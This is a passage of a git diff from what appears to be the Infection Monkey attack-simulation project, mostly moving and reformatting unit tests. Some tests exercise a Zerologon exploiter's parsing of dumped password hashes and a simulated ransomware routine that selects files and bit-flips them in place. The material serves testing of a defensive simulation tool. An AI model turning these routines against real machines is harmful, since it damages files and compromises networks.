test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_try_parse_response_good_data(good_data_mock_instance): + assert good_data_mock_instance.instance_name == GOOD_DATA["compute"]["name"] + assert good_data_mock_instance.instance_id == GOOD_DATA["compute"]["vmId"] + assert good_data_mock_instance.location == GOOD_DATA["compute"]["location"] + + +# good request, bad data (json) +@pytest.fixture +def bad_data_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON)) + + +def test_is_instance_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.instance_name is None + assert bad_data_json_mock_instance.instance_id is None + assert bad_data_json_mock_instance.location is None + + +# good request, bad data (not json) +@pytest.fixture +def bad_data_not_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON) + + +def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.instance_name is None + assert bad_data_not_json_mock_instance.instance_id is None + assert bad_data_not_json_mock_instance.location is None + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.instance_name is None + assert bad_request_mock_instance.instance_id is None + assert bad_request_mock_instance.location is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.instance_name is None + assert not_found_request_mock_instance.instance_id is None + assert not_found_request_mock_instance.location is None diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py similarity index 100% rename from monkey/common/cloud/gcp/test_gcp_instance.py rename to monkey/tests/unit_tests/common/cloud/gcp/test_gcp_instance.py diff --git a/monkey/common/network/test_network_utils.py b/monkey/tests/unit_tests/common/network/test_network_utils.py similarity index 73% rename from monkey/common/network/test_network_utils.py rename to monkey/tests/unit_tests/common/network/test_network_utils.py index 396bc1c0a..0376cd6d5 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/tests/unit_tests/common/network/test_network_utils.py @@ -12,6 +12,6 @@ class TestNetworkUtils(TestCase): assert get_host_from_network_location("user:password@host:8080") == "host" def test_remove_port_from_url(self): - assert remove_port('https://google.com:80') == 'https://google.com' - assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8' - assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com' + assert remove_port("https://google.com:80") == "https://google.com" + assert remove_port("https://8.8.8.8:65336") == "https://8.8.8.8" + assert remove_port("ftp://ftpserver.com:21/hello/world") == "ftp://ftpserver.com" diff --git a/monkey/tests/unit_tests/common/network/test_segmentation_utils.py b/monkey/tests/unit_tests/common/network/test_segmentation_utils.py new file mode 100644 index 000000000..c4728f982 --- /dev/null +++ b/monkey/tests/unit_tests/common/network/test_segmentation_utils.py @@ -0,0 +1,20 @@ +from common.network.network_range import CidrRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst + + +class TestSegmentationUtils: + def test_get_ip_in_src_and_not_in_dst(self): + source = CidrRange("1.1.1.0/24") + target = CidrRange("2.2.2.0/24") + + # IP not in both + assert get_ip_in_src_and_not_in_dst(["3.3.3.3", "4.4.4.4"], source, target) is None + + # IP not in source, in target + assert (get_ip_in_src_and_not_in_dst(["2.2.2.2"], source, target)) is None + + # IP in source, not in target + assert get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, target) + + # IP in both subnets + assert (get_ip_in_src_and_not_in_dst(["8.8.8.8", "1.1.1.1"], source, source)) is None diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py new file mode 100644 index 000000000..79d00d027 --- /dev/null +++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py @@ -0,0 +1,28 @@ +import os + +import pytest + +from common.utils.file_utils import InvalidPath, expand_path, get_file_sha256_hash + + +def test_expand_user(patched_home_env): + input_path = os.path.join("~", "test") + expected_path = patched_home_env / "test" + + assert expand_path(input_path) == expected_path + + +def test_expand_vars(patched_home_env): + input_path = os.path.join("$HOME", "test") + expected_path = patched_home_env / "test" + + assert expand_path(input_path) == expected_path + + +def test_expand_path__empty_path_provided(): + with pytest.raises(InvalidPath): + expand_path("") + + +def test_get_file_sha256_hash(stable_file, stable_file_sha256_hash): + assert get_file_sha256_hash(stable_file) == stable_file_sha256_hash diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py similarity index 76% rename from monkey/common/utils/test_shellcode_obfuscator.py rename to monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py index 7116993f2..bda9f7996 100644 --- a/monkey/common/utils/test_shellcode_obfuscator.py +++ b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py @@ -2,12 +2,11 @@ from unittest import TestCase from common.utils.shellcode_obfuscator import clarify, obfuscate -SHELLCODE = b'1234567890abcd' -OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=' +SHELLCODE = b"1234567890abcd" +OBFUSCATED_SHELLCODE = b"\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=" class TestShellcodeObfuscator(TestCase): - def test_obfuscate(self): assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py new file mode 100644 index 000000000..3099263b0 --- /dev/null +++ b/monkey/tests/unit_tests/conftest.py @@ -0,0 +1,41 @@ +import os +import sys +from pathlib import Path + +import pytest +from _pytest.monkeypatch import MonkeyPatch + +MONKEY_BASE_PATH = str(Path(__file__).parent.parent.parent) +sys.path.insert(0, MONKEY_BASE_PATH) + + +@pytest.fixture(scope="session") +def data_for_tests_dir(pytestconfig): + return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) + + +@pytest.fixture(scope="session") +def stable_file(data_for_tests_dir) -> Path: + return data_for_tests_dir / "stable_file.txt" + + +@pytest.fixture(scope="session") +def stable_file_sha256_hash() -> str: + return "d9dcaadc91261692dafa86e7275b1bf39bb7e19d2efcfacd6fe2bfc9a1ae1062" + + +@pytest.fixture +def patched_home_env(monkeypatch, tmp_path): + monkeypatch.setenv("HOME", str(tmp_path)) + + return tmp_path + + +# The monkeypatch fixture is function scoped, so it cannot be used by session-scoped fixtures. This +# monkeypatch_session fixture can be session-scoped. For more information, see +# https://github.com/pytest-dev/pytest/issues/363#issuecomment-406536200 +@pytest.fixture(scope="session") +def monkeypatch_session(): + monkeypatch_ = MonkeyPatch() + yield monkeypatch_ + monkeypatch_.undo() diff --git a/monkey/tests/unit_tests/infection_monkey/conftest.py b/monkey/tests/unit_tests/infection_monkey/conftest.py new file mode 100644 index 000000000..533572f98 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/conftest.py @@ -0,0 +1,17 @@ +import pytest + +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class TelemetryMessengerSpy(ITelemetryMessenger): + def __init__(self): + self.telemetries = [] + + def send_telemetry(self, telemetry: ITelem): + self.telemetries.append(telemetry) + + +@pytest.fixture +def telemetry_messenger_spy(): + return TelemetryMessengerSpy() diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py similarity index 84% rename from monkey/infection_monkey/exploit/tests/test_zerologon.py rename to monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index efc8a75e2..95beb1778 100644 --- a/monkey/infection_monkey/exploit/tests/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -1,9 +1,7 @@ import pytest -from infection_monkey.exploit.zerologon import ZerologonExploiter from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" NETBIOS_NAME = "NetBIOS Name" @@ -16,6 +14,8 @@ NT_HASHES = ["def456", "765vut"] @pytest.fixture def zerologon_exploiter_object(monkeypatch): + from infection_monkey.exploit.zerologon import ZerologonExploiter + def mock_report_login_attempt(**kwargs): return None @@ -26,13 +26,13 @@ def zerologon_exploiter_object(monkeypatch): return obj +@pytest.mark.slow def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): dummy_exploit_attempt_result = {"ErrorCode": 0} - assert zerologon_exploiter_object.assess_exploit_attempt_result( - dummy_exploit_attempt_result - ) + assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result) +@pytest.mark.slow def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): dummy_exploit_attempt_result = {"ErrorCode": 1} assert not zerologon_exploiter_object.assess_exploit_attempt_result( @@ -40,6 +40,7 @@ def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): ) +@pytest.mark.slow def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = object() assert zerologon_exploiter_object.assess_restoration_attempt_result( @@ -47,6 +48,7 @@ def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): ) +@pytest.mark.slow def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = False assert not zerologon_exploiter_object.assess_restoration_attempt_result( @@ -54,10 +56,10 @@ def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_obje ) +@pytest.mark.slow def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): mock_dumped_secrets = [ - f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" - for i in range(len(USERS)) + f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { USERS[0]: { @@ -71,24 +73,18 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): "nt_hash": NT_HASHES[1], }, } - assert ( - zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) - is None - ) + assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds +@pytest.mark.slow def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): mock_dumped_secrets = [ - f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" - for i in range(len(USERS)) + f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, } - assert ( - zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) - is None - ) + assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py similarity index 63% rename from monkey/infection_monkey/exploit/tools/payload_parsing_test.py rename to monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py index 2aaa6dc12..2656a7ada 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_payload.py @@ -1,6 +1,6 @@ from unittest import TestCase -from .payload_parsing import LimitedSizePayload, Payload +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload class TestPayload(TestCase): @@ -13,20 +13,26 @@ class TestPayload(TestCase): def test_is_suffix_and_prefix_too_long(self): pld_fail = LimitedSizePayload("b", 2, "a", "c") pld_success = LimitedSizePayload("b", 3, "a", "c") - assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + assert ( + pld_fail.is_suffix_and_prefix_too_long() + and not pld_success.is_suffix_and_prefix_too_long() + ) def test_split_into_array_of_smaller_payloads(self): test_str1 = "123456789" pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") array1 = pld1.split_into_array_of_smaller_payloads() - test1 = bool(array1[0] == "prefix1234suffix" and - array1[1] == "prefix5678suffix" and - array1[2] == "prefix9suffix") + test1 = bool( + array1[0] == "prefix1234suffix" + and array1[1] == "prefix5678suffix" + and array1[2] == "prefix9suffix" + ) test_str2 = "12345678" pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") array2 = pld2.split_into_array_of_smaller_payloads() - test2 = bool(array2[0] == "prefix1234suffix" and - array2[1] == "prefix5678suffix" and len(array2) == 2) + test2 = bool( + array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 + ) assert test1 and test2 diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py similarity index 84% rename from monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py rename to monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py index ca598ce7c..c0635939c 100644 --- a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py @@ -2,11 +2,8 @@ import pytest from nmb.NetBIOS import NetBIOS from common.utils.exceptions import DomainControllerNameFetchError -from infection_monkey.exploit.zerologon_utils.vuln_assessment import \ - get_dc_details from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" @@ -19,10 +16,14 @@ def host(): def _get_stub_queryIPForName(netbios_names): def stub_queryIPForName(*args, **kwargs): return netbios_names + return stub_queryIPForName +@pytest.mark.slow def test_get_dc_details_multiple_netbios_names(host, monkeypatch): + from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details + NETBIOS_NAMES = ["Name1", "Name2", "Name3"] stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) @@ -34,7 +35,10 @@ def test_get_dc_details_multiple_netbios_names(host, monkeypatch): assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}" +@pytest.mark.slow def test_get_dc_details_no_netbios_names(host, monkeypatch): + from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details + NETBIOS_NAMES = [] stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py similarity index 77% rename from monkey/infection_monkey/model/victim_host_generator_test.py rename to monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py index 5511680d7..c60992fee 100644 --- a/monkey/infection_monkey/model/victim_host_generator_test.py +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py @@ -4,18 +4,17 @@ from common.network.network_range import CidrRange, SingleIpRange from infection_monkey.model.victim_host_generator import VictimHostGenerator -class VictimHostGeneratorTester(TestCase): - +class TestVictimHostGenerator(TestCase): def setUp(self): self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts - self.local_host_range = SingleIpRange('localhost') - self.random_single_ip_range = SingleIpRange('41.50.13.37') + self.local_host_range = SingleIpRange("localhost") + self.random_single_ip_range = SingleIpRange("41.50.13.37") def test_chunking(self): chunk_size = 3 # current test setup is 15+1+1-1 hosts test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range] - generator = VictimHostGenerator(test_ranges, '10.0.0.1', []) + generator = VictimHostGenerator(test_ranges, "10.0.0.1", []) victims = generator.generate_victims(chunk_size) for i in range(5): # quickly check the equally sided chunks self.assertEqual(len(next(victims)), chunk_size) @@ -23,14 +22,14 @@ class VictimHostGeneratorTester(TestCase): self.assertEqual(len(victim_chunk_last), 1) def test_remove_blocked_ip(self): - generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], []) + generator = VictimHostGenerator(self.cidr_range, ["10.0.0.1"], []) victims = list(generator.generate_victims_from_range(self.cidr_range)) self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked def test_remove_local_ips(self): generator = VictimHostGenerator([], [], []) - generator.local_addresses = ['127.0.0.1'] + generator.local_addresses = ["127.0.0.1"] victims = list(generator.generate_victims_from_range(self.local_host_range)) self.assertEqual(len(victims), 0) # block the local IP @@ -39,9 +38,9 @@ class VictimHostGeneratorTester(TestCase): generator = VictimHostGenerator([], [], []) # dummy object victims = list(generator.generate_victims_from_range(self.local_host_range)) self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, 'localhost') + self.assertEqual(victims[0].domain_name, "localhost") # don't generate for other victims victims = list(generator.generate_victims_from_range(self.random_single_ip_range)) self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, '') + self.assertEqual(victims[0].domain_name, "") diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py similarity index 81% rename from monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py rename to monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py index 83af6e00a..e7da336eb 100644 --- a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py @@ -1,7 +1,6 @@ import pytest -from infection_monkey.post_breach.actions.users_custom_pba import ( - DIR_CHANGE_LINUX, DIR_CHANGE_WINDOWS, UsersPBA) +from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA MONKEY_DIR_PATH = "/dir/to/monkey/" CUSTOM_LINUX_CMD = "command-for-linux" @@ -35,9 +34,7 @@ def set_os_windows(monkeypatch): @pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd( - set_os_linux, fake_monkey_dir_path, monkeypatch -): +def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", CUSTOM_LINUX_CMD, @@ -57,9 +54,7 @@ def test_command_linux_custom_file_and_cmd( @pytest.fixture -def mock_UsersPBA_windows_custom_file_and_cmd( - set_os_windows, fake_monkey_dir_path, monkeypatch -): +def mock_UsersPBA_windows_custom_file_and_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", CUSTOM_WINDOWS_CMD, @@ -80,10 +75,7 @@ def test_command_windows_custom_file_and_cmd( @pytest.fixture def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): - - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_linux_filename", CUSTOM_LINUX_FILENAME, @@ -97,13 +89,8 @@ def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): @pytest.fixture -def mock_UsersPBA_windows_custom_file( - set_os_windows, fake_monkey_dir_path, monkeypatch -): - - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None - ) +def mock_UsersPBA_windows_custom_file(set_os_windows, fake_monkey_dir_path, monkeypatch): + monkeypatch.setattr("infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None) monkeypatch.setattr( "infection_monkey.config.WormConfiguration.PBA_windows_filename", CUSTOM_WINDOWS_FILENAME, @@ -118,14 +105,11 @@ def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): @pytest.fixture def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", CUSTOM_LINUX_CMD, ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_linux_filename", None) return UsersPBA() @@ -136,14 +120,11 @@ def test_command_linux_custom_cmd(mock_UsersPBA_linux_custom_cmd): @pytest.fixture def mock_UsersPBA_windows_custom_cmd(set_os_windows, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", CUSTOM_WINDOWS_CMD, ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_windows_filename", None - ) + monkeypatch.setattr("infection_monkey.config.WormConfiguration.PBA_windows_filename", None) return UsersPBA() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py new file mode 100644 index 000000000..1e357c798 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -0,0 +1,24 @@ +import shutil +from pathlib import Path + +import pytest + + +@pytest.fixture +def patched_home_env(monkeypatch, tmp_path): + monkeypatch.setenv("HOME", str(tmp_path)) + + return tmp_path + + +@pytest.fixture +def ransomware_test_data(data_for_tests_dir): + return Path(data_for_tests_dir) / "ransomware_targets" + + +@pytest.fixture +def ransomware_target(tmp_path, ransomware_test_data): + ransomware_target = tmp_path / "ransomware_target" + shutil.copytree(ransomware_test_data, ransomware_target) + + return ransomware_target diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py new file mode 100644 index 000000000..1676c574f --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py @@ -0,0 +1,16 @@ +SUBDIR = "subdir" +ALL_ZEROS_PDF = "all_zeros.pdf" +HELLO_TXT = "hello.txt" +SHORTCUT_LNK = "shortcut.lnk" +TEST_KEYBOARD_TXT = "test_keyboard.txt" +TEST_LIB_DLL = "test_lib.dll" + +ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( + "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" +) + +ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" +TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( + "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" +) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py new file mode 100644 index 000000000..42e852b95 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -0,0 +1,75 @@ +import os +import shutil + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + HELLO_TXT, + SHORTCUT_LNK, + SUBDIR, + TEST_KEYBOARD_TXT, + TEST_LIB_DLL, +) +from tests.utils import is_user_admin + +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.ransomware_payload import README_SRC + +TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] + + +@pytest.fixture +def file_selector(): + return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) + + +def test_select_targeted_files_only(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + + assert len(selected_files) == 2 + assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files + assert (ransomware_test_data / TEST_KEYBOARD_TXT) in selected_files + + +def test_shortcut_not_selected(ransomware_test_data): + extensions = TARGETED_FILE_EXTENSIONS + [".lnk"] + file_selector = ProductionSafeTargetFileSelector(extensions) + + selected_files = file_selector(ransomware_test_data) + assert ransomware_test_data / SHORTCUT_LNK not in selected_files + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_symlink_not_selected(ransomware_target, file_selector): + SYMLINK = "symlink.pdf" + link_path = ransomware_target / SYMLINK + link_path.symlink_to(ransomware_target / TEST_LIB_DLL) + + selected_files = file_selector(ransomware_target) + assert link_path not in selected_files + + +def test_directories_not_selected(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + + assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files + + +def test_ransomware_readme_not_selected(ransomware_target, file_selector): + readme_file = ransomware_target / "README.txt" + shutil.copyfile(README_SRC, readme_file) + + selected_files = file_selector(ransomware_target) + + assert readme_file not in selected_files + + +def test_pre_existing_readme_is_selected(ransomware_target, stable_file, file_selector): + readme_file = ransomware_target / "README.txt" + shutil.copyfile(stable_file, readme_file) + + selected_files = file_selector(ransomware_target) + + assert readme_file in selected_files diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py new file mode 100644 index 000000000..eb2633226 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py @@ -0,0 +1,73 @@ +import os + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, +) + +from common.utils.file_utils import get_file_sha256_hash +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.utils.bit_manipulators import flip_bits + +EXTENSION = ".m0nk3y" + + +def with_extension(filename): + return f"{filename}{EXTENSION}" + + +@pytest.fixture(scope="module") +def in_place_bitflip_file_encryptor(): + return InPlaceFileEncryptor(encrypt_bytes=flip_bits, chunk_size=64) + + +@pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) +def test_invalid_file_extension(invalid_extension): + with pytest.raises(ValueError): + InPlaceFileEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) + + +@pytest.mark.parametrize( + "file_name,cleartext_hash,encrypted_hash", + [ + (TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256), + (ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256), + ], +) +def test_file_encrypted( + in_place_bitflip_file_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash +): + test_keyboard = ransomware_target / file_name + + assert get_file_sha256_hash(test_keyboard) == cleartext_hash + + in_place_bitflip_file_encryptor(test_keyboard) + + assert get_file_sha256_hash(test_keyboard) == encrypted_hash + + +def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + + expected_inode = os.stat(test_keyboard).st_ino + in_place_bitflip_file_encryptor(test_keyboard) + actual_inode = os.stat(test_keyboard).st_ino + + assert expected_inode == actual_inode + + +def test_encrypted_file_has_new_extension(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) + encryptor = InPlaceFileEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) + + encryptor(test_keyboard) + + assert not test_keyboard.exists() + assert encrypted_test_keyboard.exists() + assert get_file_sha256_hash(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py new file mode 100644 index 000000000..141186f18 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py @@ -0,0 +1,73 @@ +from pathlib import Path + +import pytest +from tests.utils import raise_ + +from common.utils.file_utils import InvalidPath +from infection_monkey.ransomware import ransomware_config +from 